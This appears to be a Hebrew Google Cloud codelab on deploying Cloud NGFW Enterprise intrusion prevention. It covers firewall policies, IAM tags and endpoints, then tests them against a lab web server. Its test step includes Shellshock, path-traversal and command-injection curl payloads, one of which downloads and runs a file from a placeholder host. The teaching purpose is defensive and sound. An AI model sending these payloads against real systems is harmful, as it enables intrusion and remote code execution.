1. מבוא
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall הוא שירות חומת אש מבוזר לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי נרחב להגנה על עומסי העבודה שלכם ב-Google Cloud מפני מתקפות פנימיות וחיצוניות.
היתרונות של Cloud NGFW:
- שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
- הגדרה ופריסה פשוטות: Cloud NGFW מטמיע מדיניות חומת אש היררכית ורשתית שאפשר לצרף לצומת בהיררכיית המשאבים. המדיניות הזו מספקת חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
- שליטה גרנולרית ומיקרו-פילוח: השילוב של מדיניות חומת אש ותגיות שמנוהלות על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת בתעבורה מצפון לדרום וממזרח למערב, עד לרמת מכונה וירטואלית יחידה, ברשתות ענן פרטי וירטואלי (VPC) ובארגונים.
Cloud NGFW זמין ברמות הבאות:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise מוסיף שירות למניעת חדירות (IPS), יכולת של שכבה 7, למארג חומת האש המבוזרת של Google Cloud. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תעבורה מוצפנת ב-TLS, אבל זה לא נכלל בהיקף של שיעור ה-Codelab הזה (אפשר לעיין ב-Cloud NGFW Enterprise Codelab עם בדיקת TLS).
עכשיו אפשר לפרוס בדיקות מהימנות של חומת אש מהדור הבא (NGFW) בשכבה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב.
כדי להפעיל ולפרוס אמצעי בקרה של חומת אש בשכבה 7 עם IPS, צריך לבצע את המשימות הבאות:
- יוצרים קבוצה של נקודות קצה מנוהלות של חומת אש אזורית ב-Google Cloud.
- אופציונלי: יוצרים מדיניות לבדיקת TLS (לא מוסבר בשיעור Codelab הזה)
- אפשר ליצור Trust Config (לא מוסבר ב-codelab הזה)
- משייכים את נקודות הקצה האלה לרשתות של הענן הווירטואלי הפרטי (VPC) שבהן רוצים להשתמש בשירות Cloud NGFW Enterprise.
- אפשר לבצע שינויים פשוטים במדיניות הקיימת של חומת האש ובכללי חומת האש כדי לציין את פרופילי מניעת האיומים עבור נתיבי התנועה השונים.
מדיניות חומת אש בין רשתות
מדיניות חומת אש ברשת משמשת כקונטיינר לכללי חומת אש. כללים שמוגדרים במדיניות חומת אש ברשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות משויכת מדיניות אחת של חומת אש ברשת. כללי חומת האש במדיניות חומת האש ברשת תומכים בתגים שכפופים ל-IAM (או פשוט בתגים), שמחליפים את תגי הרשת הנוכחיים ויכולים לשמש לזיהוי עומס העבודה.
שיתוף מדיניות חומת אש בין רשתות ושילוב עם תגים שכפופים ל-IAM מפשטים מאוד את ההגדרה והניהול של חומות אש.
עם ההשקה של מדיניות חומת אש ברשת, מדיניות חומת האש של Google Cloud כוללת עכשיו את הרכיבים הבאים:
- מדיניות חומת אש היררכית
- VPC Firewall Rules
- מדיניות חומת אש בין רשתות ( גלובלית ואזורית)
מדיניות חומת אש היררכית נתמכת בצמתי הארגון והתיקייה בהיררכיית המשאבים, בעוד שכללי חומת אש של VPC ומדיניות חומת אש של רשת חלים ברמת ה-VPC. ההבדל העיקרי בין כללי חומת אש של VPC לבין מדיניות חומת אש של רשת הוא שכללי חומת אש של VPC אפשר להחיל רק על רשת VPC אחת, בעוד שמדיניות חומת אש של רשת אפשר לצרף ל-VPC אחד או לקבוצת רשתות VPC, בין היתר כדי לבצע עדכונים בכמות גדולה.
בנוסף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:
- כלל יציאה שהפעולה שלו היא 'אישור', והיעד הוא 0.0.0.0/0
- כלל כניסה שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0
כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:

חשוב לדעת: אפשר להחליף את סדר האכיפה בין הכללים של חומת האש ב-VPC לבין מדיניות חומת האש הגלובלית של הרשת. הלקוחות יכולים לציין את סדר האכיפה בכל שלב באמצעות פקודת gcloud.
תגים שמנוהלים על ידי IAM
התגים החדשים שמשולבים בכללים של מדיניות חומת האש ברשת הם משאבים של צמדי מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל בקרת גישה של IAM, כפי שהשם מרמז, שמציינת למי יש הרשאה לבצע פעולות בתג. לדוגמה, הרשאות IAM מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אחרי שמחילים תג על משאב, כללי חומת אש ברשת יכולים להשתמש בו כדי לאשר או לדחות תנועה.
התגים פועלים לפי מודל ירושת המשאבים של Google Cloud, כלומר התגים והערכים שלהם מועברים בהיררכיה מההורים שלהם. כתוצאה מכך, יכול להיות שתגים ייווצרו במקום אחד ואז ישמשו תיקיות ופרויקטים אחרים בהיררכיית המשאבים. פרטים על תגים והגבלת גישה זמינים בדף הזה.
חשוב לא לבלבל בין תגים לבין תגים של רשתות. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הם משויכים למכונה ונעלמים כשהמכונה מוצאת משימוש. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מכיוון שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת גישה של IAM.
הערה: במסמך הזה אנחנו משתמשים לסירוגין במונחים 'תגים' ו'תגים שמנוהלים באמצעות IAM'.
מה תפַתחו
ב-Codelab הזה נשתמש בפרויקט יחיד ונראה איך ליצור רשת VPC עם קישוריות ציבורית. בנוסף, נדגים איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:
- בדיקת רצפי פעולות בתוך VPC או תת-רשת [ממזרח למערב]
- בדיקת זרימות נכנסות מהאינטרנט [צפון-דרום]
הזרימות שייבדקו ייבחרו באמצעות פרמטרים תואמים של Cloud Firewall, כולל 5-tuple (כתובת IP של המקור, כתובת IP של היעד, פרוטוקול, יציאת המקור, יציאת היעד) ותגים. בדיקת TLS לא נכללת ב-Codelab הזה.

בסיס הכללים של מדיניות חומת האש ברשת ייראה דומה לטבלה הבאה:
עדיפות | כיוון | Target | מקור | יעד | פעולה | סוג |
100 | תעבורת נתונים יוצאת (egress) | Quarantine_Tag | הכול | הכול | דחייה | Essentials |
1000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | טווחי בדיקת התקינות | הכול | אישור | Essentials |
2000 | תעבורת נתונים נכנסת (Ingress) | הכול | טווחים של שרת proxy לאימות זהויות (IAP) | הכול | אישור | Essentials |
3000 | תעבורת נתונים נכנסת (Ingress) | הכול | Geo, GCTI | הכול | דחייה | רגיל |
4000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | Geo, GCTI | דחייה | רגיל |
5000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | שמות דומיין מלאים (FQDN) של עדכוני מערכת | אישור | רגיל |
6000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | 10.0.0.0/24 | הכול | IPS | Enterprise |
7000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | CloudNAT_IP | הכול | IPS | Enterprise |
מה תלמדו
- איך יוצרים מדיניות חומת אש בין רשתות גלובלית
- איך יוצרים תגים ומשתמשים בהם במדיניות חומת אש בין רשתות
- איך מגדירים ומשתמשים בשירות למניעת חדירות של Cloud NGFW Enterprise
מה תצטרכו
- פרויקט ב-Google Cloud
- ידע בפריסת מופעים ובהגדרת רכיבי רשת
- ידע בהגדרת חומות אש של VPC
2. לפני שמתחילים
יצירה או עדכון של משתנים
ב-Codelab הזה נעשה שימוש ב-$variables כדי לעזור בהטמעה של הגדרת gcloud ב-Cloud Shell.
ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים לפי הצורך (אם הפרויקט הרצוי כבר מוגדר, אפשר לדלג על הגדרת הפרויקט). משתמשים במשתנה אחר למשאבים ברמת הארגון אם נדרשים כמה נקודות קצה של חומת אש, למשל.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. הפעלת ממשקי ה-API
אם עדיין לא עשיתם זאת, מפעילים את ממשקי ה-API:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. פרופיל אבטחה ונקודת קצה ב-Cloud NGFW Enterprise
יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, ולכן היא תיווצר קודם. אפשר לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.
יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
הפלט אמור להיראות כך:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
מוודאים שהמשאבים נוצרו בהצלחה:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
הפלט אמור להיראות כך:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
יוצרים את נקודת הקצה של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
תהליך יצירת נקודת הקצה נמשך כ-20 דקות. עוברים לקטע 'הגדרת הבסיס' כדי ליצור את המשאבים הנדרשים במקביל.
5. הגדרה בסיסית
אם אתם מעדיפים ליצור את משאבי הבסיס באופן ידני, אתם יכולים להמשיך לקטעים הבאים.
רשת VPC ותת-רשת
רשת VPC ותת-רשת
יוצרים את רשת ה-VPC ואת רשת המשנה:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
יוצרים את ה-Cloud Routers ואת שערי Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instances
יצירת מופעים של לקוח ושל שרת אינטרנט:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
תגים ברמת הפרויקט
אם צריך, מקצים למשתמש את ההרשאות tagAdmin או tagUser:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
יוצרים את המפתח והערכים של התג ברמת הפרויקט:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
קישור תגים למופעים:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
מדיניות חומת אש בין רשתות גלובלית
יוצרים מדיניות גלובלית של חומת אש בין רשתות:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
יוצרים כללים ב-Cloud Firewall Essential כדי לדחות תעבורת נתונים ממכונות שהוכנסו להסגר (נוצרו כדוגמה בלבד, לא נעשה בהם שימוש ב-codelab הזה) ולאפשר תעבורת נתונים מטווחי בדיקת תקינות ושרת proxy לאימות זהויות:
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
יוצרים כללים של Cloud Firewall Standard כדי לדחות תעבורת נתונים נכנסת ויוצאת ממדינות שהוטל עליהן אמברגו, מכתובות IP זדוניות ידועות ומצמתי יציאה של ToR, ולאפשר רק תעבורת נתונים יוצאת ל-FQDN ספציפיים לצורך עדכוני מערכת (הכללים האלה נוצרו כדוגמה בלבד, והם לא נמצאים בשימוש בסדנת הקוד הזו):
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
יוצרים כללים ב-Cloud Firewall כדי לאפשר תעבורת נתונים נכנסת ממזרח למערב / בתוך תת-רשת ומצפון לדרום / מהאינטרנט מהטווחים הספציפיים (הכללים האלה יעודכנו כדי להפעיל את Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
משייכים את מדיניות חומת האש ברשת לרשת ה-VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
מאזן עומסי רשת חיצוני מסוג TCP/UDP
מזמינים כתובת IP חיצונית ויוצרים את קבוצת המופעים ואת בדיקת התקינות:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
יוצרים שירות לקצה העורפי וכלל העברה:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise Endpoint Association
אם צריך, מגדירים מחדש את משתני הסביבה.
מוודאים שיצירת נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק כשהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט אמור להיראות כך (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
משייכים את נקודת הקצה של Cloud NGFW Enterprise לרשת ה-VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
תהליך השיוך נמשך כ-10 דקות. ממשיכים רק כשהסטטוס הוא ACTIVE (הסטטוס הצפוי במהלך תהליך היצירה הוא CREATING):
gcloud network-security firewall-endpoint-associations list
הפלט אמור להיראות כך:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. כללי בדיקה של Cloud NGFW Enterprise
פותחים כרטיסייה חדשה ומתחילים חיבור SSH למכונה הווירטואלית של הלקוח דרך IAP (תצטרכו להגדיר מחדש את המשתנים בכרטיסייה החדשה):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
מגדירים את המשתנים הנדרשים בסשן ה-SSH ומגדירים את המשתנים (חשוב לוודא שהערכים נכונים):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
מריצים curl על שתי כתובות ה-IP כדי לוודא שאפשר להגיע אליהן:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
התוצאה הצפויה לשתי בקשות ה-curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
שליחת מתקפות לדוגמה לכתובת ה-IP של השרת הפנימי (תנועה מזרח-מערב / תנועה בתוך VPC). שרת האינטרנט צריך להגיב לכל הבקשות, כדי לוודא שלא מתבצעת בדיקה או מניעה ברמה 7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שולחים מחדש את דגימות המתקפות לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (תנועה נכנסת מצפון לדרום), ובאופן דומה, שרת האינטרנט צריך להגיב לכל הבקשות:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
תוצאות צפויות עבור כתובות IP ציבוריות ופרטיות:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
חוזרים ל-Cloud Shell ומעדכנים את כללי הכניסה הקיימים כדי להפעיל בדיקה ברמה 7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
אפשר גם לתאר את כללי חומת האש כדי לוודא ששניהם עודכנו בהצלחה:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
הפלט אמור להיראות כך:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
כלל 7000:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
הפלט אמור להיראות כך:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
חוזרים למכונת ה-VM של הלקוח ושולחים מחדש את ההתקפות לדוגמה לכתובת ה-IP של השרת הפנימי (בדיקה מזרח-מערב / בתוך VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שולחים מחדש את דגימות המתקפות לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (בדיקה נכנסת מצפון לדרום):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
לא מתקבלות תגובות להתקפות הראשונות, בהתאם לפלט הצפוי שמוצג בהמשך, מה שמאשר שההתקפות ברמת חומרה גבוהה נחסמות עכשיו.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
כדי לאמת את היומנים, עוברים אל Network Security (אבטחת רשת) > Threats (איומים) במסוף Cloud (ייתכן שתצטרכו לרענן כמה פעמים אם ההתקפות עדיין לא מוצגות).

בוחרים באחת מהמתקפות ולוחצים על 'הצגת יומן ביקורת' בצד שמאל (אפשר לפתוח בכרטיסייה חדשה כדי לחזור בקלות). מרחיבים את ההתקפה כדי לראות את הפרטים:

אופציונלי, מחליפים את המסנן של כלי ניתוח היומנים בשאילתה הבאה:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
רשומות ביומן האיומים אמורות להופיע כמו בדוגמה הבאה:

אפשר לאמת מנות שחומת האש של Cloud מיירטת באמצעות המסנן הבא ב-Log Explorer (מועיל לפתרון בעיות):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

אפשר להמשיך לבדיקת תנועת האינטרנט (אופציונלי) או לסגור את סשן ה-SSH ולעבור לפרק הבא כדי לבצע את שלבי הניקוי.
[אופציונלי] בדיקת תנועה באינטרנט
כפי שראינו בקטע הקודם, הזרימות שנבדקו עד עכשיו הן בתוך רשת המשנה או ה-VPC (מזרח-מערב) ותעבורה נכנסת מהאינטרנט (צפון-דרום נכנסת). אפשר גם להגדיר את Cloud NGFW Enterprise לבדיקת כל התעבורה באינטרנט (תעבורה יוצאת מצפון לדרום) על ידי יצירת כלל יציאה חדש באמצעות Cloud Shell:
